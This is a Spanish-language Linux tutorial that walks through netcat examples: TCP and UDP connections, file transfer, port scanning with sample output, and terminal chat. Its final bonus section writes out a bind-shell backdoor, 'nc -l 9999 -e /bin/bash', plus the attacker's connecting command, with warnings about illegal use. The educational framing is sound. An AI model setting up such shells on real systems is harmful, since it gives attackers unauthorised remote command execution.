GNU/Linux >> Tutoriales Linux >  >> Linux

5 ejemplos del comando Netcat (nc) en Linux

Netcat es una herramienta de red poderosa y versátil que está disponible para máquinas Linux, Mac y Windows. Es fácil de usar y de aprendizaje esencial para todos los interesados ​​en la comunicación en red.

La funcionalidad central de Netcat permite que dos computadoras se conecten y compartan recursos. El nombre es un acrónimo de red y concatenar, que es una palabra elegante para unir cosas.

Las conexiones se pueden realizar directamente entre máquinas a través de puertos TCP o UDP. Una vez establecido, hay muchos casos de uso potenciales. La comunicación puede funcionar bidireccionalmente, de modo que los archivos o la información se puedan mover del oyente al cliente o del cliente al oyente.

Netcat es conocido como la "navaja suiza" de TI debido a su amplia gama de funcionalidades. Se puede usar para enviar archivos, chatear, servir web, ejecutar código de forma remota. La lista es extensa y variada.

Destacaré algunas de las aplicaciones más comunes a lo largo de este artículo.

Notoriamente, netcat se puede usar para crear un acceso de "puerta trasera". Explicaré cómo funciona esto, pero tenga en cuenta que ya no forma parte del software nc debido a su potencial de uso malicioso.

Ejemplos de comandos de Netcat (nc)

Esta es la sintaxis del comando nc:

nc [options] [hostname] [port]

La sintaxis puede variar según la aplicación, pero para la mayoría de los usos, sus comandos seguirán este patrón básico.

Vamos a ver

1. Crear una conexión usando TCP con el comando netcat

Como mencioné anteriormente, la funcionalidad central de netcat es unir dos máquinas. Puede configurar una conexión usando TCP para conectar dos máquinas separadas, también puede emular esa conexión usando la terminal.

La Máquina de Escuchar:

nc -l 8080

Este comando abre el puerto 8080 y le dice a la máquina que comience a escuchar en este puerto.

Para establecer una conexión, utilizará otro terminal e ingresará lo siguiente.

La Máquina Cliente:

nc 127.0.0.1 8080

También puede usar 'localhost' en lugar de la IP, o usar la IP de su segunda PC aquí si está realizando una conexión remota.

Eso es todo, ha abierto un puerto TCP y ha establecido una conexión entre dos sistemas.

Introducción rápida a TCP frente a UDP

¿Por qué usamos TCP por defecto? TCP es una tecnología más antigua que UDP y operan en diferentes niveles del modelo OSI. Daré una descripción general rápida de las diferencias entre ellos y describiré algunas situaciones en las que puede elegir uno sobre el otro.

TCP tiene fuertes capacidades de corrección de errores. ¿Qué significa eso? Básicamente, esto significa que mientras los paquetes de datos están en tránsito de un sistema a otro, se realizan pruebas continuas. Estas pruebas aseguran que la información del Sistema A se copie con precisión al Sistema B. Esta es una versión muy simplificada de lo que sucede cuando la información viaja a través de las redes (Internet).

Sin embargo, se utilizan muchos protocolos en la comunicación por Internet, no solo TCP. UDP tiene reglas diferentes a las de TCP. Ninguno es necesariamente "mejor", pero cada uno puede sobresalir en la realización de diferentes tareas.

¿Por qué usaríamos UDP sobre TCP o viceversa? Depende de la aplicación. TCP es más lento, pero más confiable para transferir datos con precisión.

UDP se puede elegir en situaciones donde la velocidad es más importante que la confiabilidad en la transmisión de información. Un ejemplo de esto es la transmisión de datos, como el video. El video se puede transferir más rápidamente a través de UDP e incluso si hay errores en la transmisión, es menos probable que afecten la experiencia del usuario.

2. Cree una conexión usando UDP con el comando nc

Los pasos para realizar una conexión UDP son prácticamente idénticos a los que ya hemos seguido. Agregará un indicador de opción para especificar que el tipo de puerto que desea abrir es UDP, no el TCP predeterminado.

nc -l -u 999

Es así de simple. Eso es todo lo que necesita hacer para abrir el puerto UDP '999'.

Quizás se pregunte si puede usar TCP y UDP con el mismo número de puerto. Puede, porque son protocolos separados.

3. Use el comando nc para transferir archivos entre sistemas remotos

Existen otros métodos para transferir archivos de un sistema a otro. También puede usar el comando netcat para este propósito.

Para este ejemplo, creé una demostración que ilustra una transferencia remota de archivos desde mi máquina Linux a mi MacBook Pro.

Configurar la PC con Linux para recibir

nc -l 9999 > fromMac.file

Comienza a escuchar en la máquina receptora en el puerto TCP 9999. El '> ‘ le dice a la máquina que espera que se transfiera un archivo. El nombre que sigue es el nombre local del archivo.

Configurar la PC Mac para enviar

nc 172.20.1.168 9999 < toLinux.file

La dirección IP aquí pertenece a la máquina Linux. Cambias el símbolo a '< ‘ y el archivo ‘toLinux.file’ se copiará en la máquina remota como ‘fromMac.file’.

Aquí hay un ejemplo usando dos máquinas diferentes para enviar un archivo.

4. Use el comando nc para escanear puertos

Puede haber opciones más eficientes para escanear puertos, pero se puede hacer con netcat. Dado que netcat viene instalado de forma predeterminada en la mayoría de los sistemas operativos, es bueno saber cómo hacerlo si necesita solucionar problemas rápidamente. Usarás la '-n' y mostrarás una salida detallada.

nc -v -n 127.0.0.1 1-100

Esto intenta hacer una conexión a los puertos entre 1-100. El puerto 80 es HTTP, como estoy seguro que muchos de ustedes saben. Este puerto normalmente está abierto en las máquinas porque se usa para conectarse a Internet.

Cuando uso este comando, en realidad intento conectarme a todos los puertos entre 1 y 100. Se conecta con éxito al puerto 80, pero genera un mensaje de error de Apache. Termino con algo de salida HTML en la terminal porque mi computadora lo ve como una solicitud de página incorrecta.

[...]
nc: connect to 127.0.0.1 port 77 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 78 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 79 (tcp) failed: Connection refused
Connection to 127.0.0.1 80 port [tcp/*] succeeded!

HTTP/1.1 400 Bad Request
Date: Fri, 20 Dec 2019 15:08:29 GMT
Server: Apache/2.4.38 (Ubuntu)
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.38 (Ubuntu) Server at pop-os.localdomain Port 80</address>
</body></html>

Modo de E/S cero

Para evitar esto, puede usar -z bandera, que significa entrada/salida cero. Este es el modo de escaneo de puertos incorporado para netcat. Todavía obtengo el mismo idioma, pero en realidad no hace la conexión al puerto 80 generando el error de solicitud incorrecta. En su lugar, continúa a través de todos los puertos escaneados.

5. Chatea con Netcat

Esta es una forma más divertida de usar netcat. Cuando establece una conexión TCP como la anterior, puede "chatear" de una máquina a otra. Es menos novedoso en una era en la que las aplicaciones de mensajes de texto y chat son omnipresentes, pero esto habría dejado boquiabierto a alguien en 1996.

Aquí hay una animación que me muestra hablando de un terminal a otro.

Genial, ¿verdad?

Consejo adicional:crea una puerta trasera con el comando nc

Mostraré esto solo con fines de demostración. Tenga en cuenta que el uso no autorizado de este comando podría considerarse una actividad delictiva en su localidad.

De hecho, este comando ya no hace nada con 'nc'. Hay formas de hacerlo, pero tendrás que encontrarlas en otro lugar. Una vez más, esto solo pretende mostrar la capacidad.

El -e flag hace que algo sea ejecutable. Una forma común para que los actores maliciosos obtengan acceso es crear una puerta trasera de este tipo en un puerto abierto y usarla para ejecutar scripts o manipular el sistema de archivos.

Entonces, si el atacante de alguna manera obtuvo acceso a la máquina de la "víctima", puede crear una puerta trasera como esta:

nc -l 9999 -e /bin/bash

Ahora los atacantes pueden usar esta puerta trasera para acceder al sistema de forma remota y ejecutar comandos. Entonces, desde el sistema del atacante:

nc 192.168.1.10 9999
ls
Desktop
Documents
Downloads
Music 
Pictures
Public
Templates
Videos
firefox linuxhandbook.com

Esto permite que el atacante acceda a su computadora de forma remota desde la línea de comandos. Una vez conectado, puedo ejecutar comandos bash de forma similar a como lo haría si estuviera usando la computadora directamente.

Estoy seguro de que puedes imaginar cómo alguien sin las mejores intenciones podría abusar de este poder. Esto hace que sea muy importante monitorear la actividad del puerto en cualquier red.

Espero que haya disfrutado de esta breve introducción al comando netcat. Como siempre, háganos saber lo que piensa en la sección de comentarios.


Linux
  1. 5 ejemplos prácticos del comando dd en Linux

  2. 7 ejemplos de comandos Linux df

  3. 8 ejemplos de comandos TR de Linux

  4. Ejemplos de comandos rm en Linux

  5. Ejemplos de comandos ps en Linux

¿Qué es el comando Watch de Linux + ejemplos?

Los 50 Ejemplos Prácticos del Comando SED en Linux

10 ejemplos útiles del comando Sort en Linux

Ejemplos esenciales del comando ps en Linux

Ejemplos de comandos id en Linux

Ejemplos de comandos du en Linux